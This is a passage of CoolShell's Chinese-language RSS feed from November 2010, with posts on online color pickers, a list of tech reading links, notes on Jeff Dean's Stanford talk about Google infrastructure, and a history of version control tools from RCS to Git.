CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3320.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>150</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几个在线颜色选择器</title>\n\t\t<link>https://coolshell.cn/articles/3314.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3314.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 25 Nov 2010 02:44:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Color]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3314</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些在线的颜色配色方案，也许可以为你的Web配色方面提供一些参考。还有一些非常有意思的杂项资源你也可以去看看。 http://colorschemedes...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3314.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3314.html\">几个在线颜色选择器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一些在线的颜色配色方案，也许可以为你的Web配色方面提供一些参考。还有<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">一些非常有意思的杂项资源</a>你也可以去看看。</p>\n<ul>\n<li><a href=\"http://colorschemedesigner.com/\" target=\"_blank\">http://colorschemedesigner.com/</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.colourlovers.com/\" target=\"_blank\">http://www.colourlovers.com/</a></li>\n<li><a rel=\"nofollow\" href=\"http://kuler.adobe.com/\" target=\"_blank\">http://kuler.adobe.com</a></li>\n<li><a rel=\"nofollow\" href=\"http://opencodeproject.com/colorchooser/#\" target=\"_blank\">http://opencodeproject.com/colorchooser/</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.yafla.com/yaflaColor/ColorRGBHSL.aspx\" target=\"_blank\">http://www.yafla.com/yaflaColor/ColorRGBHSL.aspx</a></li>\n<li><a rel=\"nofollow\" href=\"http://www.colorjack.com/sphere/\" target=\"_blank\">http://www.colorjack.com/sphere/</a></li>\n<li><a rel=\"nofollow\" href=\"http://easyrgb.com/\" target=\"_blank\">http://easyrgb.com</a></li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3315\" title=\"Color Scheme\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/Color-Scheme.jpg\" alt=\"\" width=\"500\" height=\"325\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/Color-Scheme.jpg 500w, https://coolshell.cn/wp-content/uploads/2010/11/Color-Scheme-300x195.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/11/Color-Scheme-415x270.jpg 415w\" sizes=\"(max-width: 500px) 100vw, 500px\" /><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd-sandwich-150x150.png\" alt=\"xkcd 神图“Click and Drag”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8398.html\" class=\"wp_rp_title\">xkcd 神图“Click and Drag”</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"Top 200的全球开发者BLOG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_title\">Top 200的全球开发者BLOG</a></li><li ><a href=\"https://coolshell.cn/articles/585.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"5个不错的Flash的英文教程网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/585.html\" class=\"wp_rp_title\">5个不错的Flash的英文教程网</a></li><li ><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" alt=\"你确信你了解时间吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5075.html\" class=\"wp_rp_title\">你确信你了解时间吗？</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3314.html\">几个在线颜色选择器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3314.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>几篇技术文章</title>\n\t\t<link>https://coolshell.cn/articles/3311.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3311.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 25 Nov 2010 01:04:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Perl]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3311</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>The Art of Unix http://www.faqs.org/docs/artu/ Perl for Impatient Developer http...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3311.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3311.html\">几篇技术文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>The Art of Unix</strong></p>\n<p><a href=\"http://www.faqs.org/docs/artu/\" target=\"_blank\">http://www.faqs.org/docs/artu/</a></p>\n<p><strong>Perl for Impatient Developer</strong></p>\n<p><a href=\"http://blob.perl.org/books/impatient-perl/iperl.pdf\" target=\"_blank\">http://blob.perl.org/books/impatient-perl/iperl.pdf</a></p>\n<p><strong>Game Development with Javascript</strong></p>\n<p><a href=\"http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx\" target=\"_blank\">http://www.brighthub.com/hubfolio/matthew-casperson/blog/archive/2009/06/29/game-development-with-javascript-and-the-canvas-element.aspx</a></p>\n<p><strong>Introduction to x64 Assembly</strong></p>\n<p><a href=\"http://software.intel.com/en-us/articles/introduction-to-x64-assembly/\" target=\"_blank\">http://software.intel.com/en-us/articles/introduction-to-x64-assembly/</a></p>\n<p><strong>Database Fundamental</strong></p>\n<p><a href=\"https://www.ibm.com/developerworks/wikis/display/db2oncampus/FREE+ebook+-+Database+fundamentals\">https://www.ibm.com/developerworks/wikis/display/db2oncampus/FREE+ebook+-+Database+fundamentals</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li><li ><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language-150x150.jpg\" alt=\"Javascript程序员嘴最脏??\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1850.html\" class=\"wp_rp_title\">Javascript程序员嘴最脏??</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/1042.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/06/linux_tutorials-150x150.jpg\" alt=\"Linux/Unix 新手和专家教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1042.html\" class=\"wp_rp_title\">Linux/Unix 新手和专家教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3311.html\">几篇技术文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3311.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Jeff Dean的Stanford演讲</title>\n\t\t<link>https://coolshell.cn/articles/3301.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3301.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 22 Nov 2010 01:07:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Jeff Dean]]></category>\n\t\t<category><![CDATA[MapReduce]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[Stanford]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3301</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google 公司的 Jeff Dean 在Stanford大学做了一个非常 精彩的演讲（视频未墙）。我觉得我们每一个人都应该去看一看这个视频，当然，没有字幕，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3301.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3301.html\">Jeff Dean的Stanford演讲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-3305\" title=\"Jeff Dean\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/jeff.jpg\" alt=\"\" width=\"135\" height=\"175\" />Google 公司的 <a href=\"http://research.google.com/people/jeff/\" target=\"_blank\"><strong>Jeff Dean</strong></a> 在Stanford大学做了一个非常 <a href=\"http://stanford-online.stanford.edu/courses/ee380/101110-ee380-300.asx\" target=\"_blank\"><strong>精彩的演讲</strong></a>（视频未墙）。我觉得我们每一个人都应该去看一看这个视频，当然，没有字幕，需要不错的听力，当然，我不可能全部翻译出来，因为我也不是完全能听懂，下面是一些相关的Notes，供你参夸，并欢迎牛人指证。</p>\n<ul>\n<li>比较了从1999年到2010年十年来的搜索量的变化。搜索量增加了 1000 倍，而搜索速度快了5 倍。1999年，一个网页的更新最多需要一个月到两个月，而今天，只需要几秒钟，足足加快了5w倍。</li>\n<li>一开始，这些大量的查询产生了大约30GB的I/O量。2004年，他们考虑过全部重写infrastructure。</li>\n<li>讨论了一些关于变量长度字节对齐的东西。</li>\n<li>今天的MapReduce 有400万个作业，处理将近1000PB的数据，130PB的中间数据，还有45PB的输出数据。（1PB =1024TB）关于 MapReduce （Google云计算的精髓） 的一些统计，见下图：</li>\n<li><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3302\" title=\"Mapreduce Stats\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/mapreducestats.jpg\" alt=\"\" width=\"575\" height=\"426\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/mapreducestats.jpg 575w, https://coolshell.cn/wp-content/uploads/2010/11/mapreducestats-300x222.jpg 300w\" sizes=\"(max-width: 575px) 100vw, 575px\" /></li>\n</ul>\n<p><span id=\"more-3301\"></span></p>\n<ul>\n<li>现在Jeff正在做一个叫Spanner的项目，这是一个跨多个数据中心的项目。在后来的Q&amp;A中，Jeff解释了现在的数据基本上都在各个数据中心中，数据在不同数据中心间的交换几乎不可能。所以，他们需要提供一些手动的方式或是一些工作或任务来达到数据共享。这其中还需要有一些策略配置，共同的namespace，事务处理，数据一致性等等工作。</li>\n</ul>\n<ul>\n<li>最后一个段落应该是最精彩的，Jeff讲了很多很有意思的东西，绝对让你受用一生：\n<ul>\n<li>一个大型的系统需要分解成N多的小services.（这和Amazon的很相似，一个页面的调用可能要经过几百个后台的services）</li>\n<li>代码的性能将会是想当的重要。Jeff给了一张叫“Numbers Everyone Should Know” 的slide，如下所示，我觉得太经典了，其中的东西，如果你看过我的那篇“<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\"><strong>给老婆普及计算机知识</strong></a>”，我想我不需要多解释了。（注：1 ns = 十亿分之一秒）</li>\n<li><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3303\" title=\"每一个程序员都应该知道的数字\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/numberseveryoneshouldknow.png\" alt=\"\" width=\"570\" height=\"425\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/numberseveryoneshouldknow.png 570w, https://coolshell.cn/wp-content/uploads/2010/11/numberseveryoneshouldknow-300x223.png 300w\" sizes=\"(max-width: 570px) 100vw, 570px\" /></li>\n<li>把相同的东西抽出来去建立一个系统，而不是把所有的事情交给所有的人。他说： “最后的那个功能可能会导致你怎么个系统超出了原有的复杂度”。</li>\n<li>不要无限制地设计可扩展性。5倍到50倍的扩展性设计足够了。如果你要达到100倍的，那应该是re-arch了。</li>\n<li>Jeff很喜欢有中心主结点的架构体系，他并不喜欢分布式系统。当然，中心主结点主要是用来做控制的，而不是做数据或是计算服务的。</li>\n<li>J在一些小机器上运行多个小服务，而不在一个大机器上运行一个mongo作业。越小的单元就越容易处理，修复，负载均衡和扩展。（化繁为简）</li>\n<li>…… ……</li>\n</ul>\n</li>\n</ul>\n<p>这是一个非常不错的演讲，很让人开阔眼界。</p>\n<p>最后，我想说说英文，很多程序员都很不喜欢英文，哎……怎么说呢？如果你今天对英文还很害怕的话，这只能怪我们的教育制度的失败。但如果你以此为借口的话，那只能怪你自己了。没有英文的能力，你的技术和认知仅限于中文圈中，而中文圈中基本上都是产商的文化。有人说，“功夫网”让我们的internet成为了局域网，而我想说，让我们成为局域网的不是那个墙，而是我们自己的世界观和英文能力。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3301.html\">Jeff Dean的Stanford演讲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3301.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t<enclosure url=\"http://stanford-online.stanford.edu/courses/ee380/101110-ee380-300.asx\" length=\"127\" type=\"video/asf\" />\n\n\t\t\t</item>\n\t\t<item>\n\t\t<title>版本管理器的发展史</title>\n\t\t<link>https://coolshell.cn/articles/3288.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3288.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 17 Nov 2010 00:50:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[BitKeeper]]></category>\n\t\t<category><![CDATA[CVS]]></category>\n\t\t<category><![CDATA[Git]]></category>\n\t\t<category><![CDATA[SCM]]></category>\n\t\t<category><![CDATA[Subversion]]></category>\n\t\t<category><![CDATA[verison control]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3288</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发布过编程语言进化，Windows的达尔文进化图，今天在网上看到版本管理器的进化图，转过来，源文链接如下： http://codicesoftware....</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3288.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发布过<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a>，<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a>，今天在网上看到版本管理器的进化图，转过来，源文链接如下：</p>\n<p><a href=\"http://codicesoftware.blogspot.com/2010/11/version-control-timeline.html\" target=\"_blank\">http://codicesoftware.blogspot.com/2010/11/version-control-timeline.html</a> (墙)</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3289\" title=\"版本管理器的演化图\" src=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory.png\" alt=\"\" width=\"640\" height=\"410\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory.png 800w, https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-300x192.png 300w, https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-768x492.png 768w, https://coolshell.cn/wp-content/uploads/2010/11/scmhistory-422x270.png 422w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></a></p>\n<p>这张图上分成了四个时期：</p>\n<p><span id=\"more-3288\"></span></p>\n<p><strong>史前时期</strong>：1982年的RCS。现在你可能还能在Unix的发布包中找到它。</p>\n<p><strong>古典时期</strong>：1990年的CVS（经典的SCM管理器，可惜不能track目录和文件名的改变，今天这个东西已经过时了），1985年的PVCS，1992年的clearcase（价格贵，功能复杂，当然，今天也有很多公司在用），微软的VSS（Welcome to Hell），90年代中期的Perforce(P4，这个工具今天都还在被广泛地使用，尤其是那些中等大小却有着大量开发团队的公司，现在是Google内部最大的代码管理器)。</p>\n<p><strong>中世纪时期</strong>：SVN（Linus很不喜欢SVN，2006年引入了Git），AccuRev(强力支持branch和merge，其扮演了一个很重要角色帮助社区脱离clearcase和CVS)，</p>\n<p><strong>文艺复兴时期</strong>：BitKeeper——Sun的内部管理工具，Linux的内核代码2002年也用这个工具，其实，很多开源工程都在用这个工具，2005年这个工具的东家BitMover对大家对BitKeeper逆向工程很不满，于是停止支持开源，于是出现了Git。</p>\n<p>Git的第一个版本是Linux之父Linus Torvalds亲手操刀设计和实现的（据说只用了一个周末），Linus不仅仅给出一个原始设计（简单的、干净的、天才的），同时，他也用自己那独一无二的风格催生了这个项目（请参看： <a href=\"http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.html\" target=\"_blank\">http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.htm</a>l 还是被墙）。</p>\n<p>在Linus介绍Git的著名的演讲中，他强烈地批评（好吧，应该算是侮辱）了CVS，SVN，和Perforce：“Subversion是史上最毫无意义的项目，从项目开始就是这样了”，“如果你喜欢CVS，那么你现在应该在某个精神病研究中心或是别的地方”，“别在用Preforce了，它是十分糟糕和可悲的，这绝对绝对是真的”。无论是反对还是喜欢，Linus的确是改变了历史——中世纪已经过去了，现在的世界由分布式系统主宰，以及消除branch和merge的恐惧。</p>\n<p>Git 基于 DAG 结构 (Directed Acyclic Graph)，其运行起来相当的快。在Git发布后的来年，世界上所有的大型的开源项目全部从Subversion迁移到了Git上，<a href=\"http://www.github.com/\" target=\"_blank\">www.github.com</a>真是很大，这可能是这具星球上最强大最牛最酷的SCM系统了。Git可能并不是最简单的，但它一定会是未来十年的主流。（有空读读这本书——<a href=\"http://peepcode.com/products/git-internals-pdf\" target=\"_blank\">Git Internals</a>）</p>\n<p>Mercurial (Hg) 第一次出现在2005年4月，也是因为BitKeeper不免费了。Hg可以和Git在一起使用，见：<a href=\"http://mercurial.selenic.com/wiki/HgGit\" target=\"_blank\">http://mercurial.selenic.com/wiki/HgGit</a>。但是Hg和Git在设计上不一样，他们对提交/变更的概念是一样的，只不过Git用tree来实现，而Hg则是用扁平的文件和目录来实现（revlog），设计细节可参看：<a href=\"http://mercurial.selenic.com/wiki/Design\">http://mercurial.selenic.com/wiki/Design</a>和 <a href=\"http://mercurial.selenic.com/wiki/DeveloperInfo\">http://mercurial.selenic.com/wiki/DeveloperInfo</a>。</p>\n<p>Darcs (Darcs Advanced Revision Control System)是另一个让你摆脱Subversion和CVS的工具，2002年开始，今年是2.5版。它的优势是性能，以及他与众不同的历史版本管理——管理patches而不是snapshot（提交/修改），当然，这样一来，历史改变看上去很不好懂。</p>\n<p>Bazaar (bzr) 是另一个开源的 DVCS，它试图给SCM的世界里带来一些新的东西。其由Canonical开发（Ubuntu的那个公司），在2008年成为GNU。</p>\n<p>Plastic在2006年出现，强力地支持branch和merge，其还提供了强大的图示，包括3D的版本树，Plastic主要是为了让中等开发团队使用，介于大型的团队（ClearCase）和小型的团队（Subversion）之间。</p>\n<p>Team Foundation Server (TFS)，微软的新一代SCM工具，主要是为了VSS的失败负责，但是他还不是版本管理上还是很强，只不过，他集成了一大堆各种各样的工具，比如：issue tracking，test management等。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> 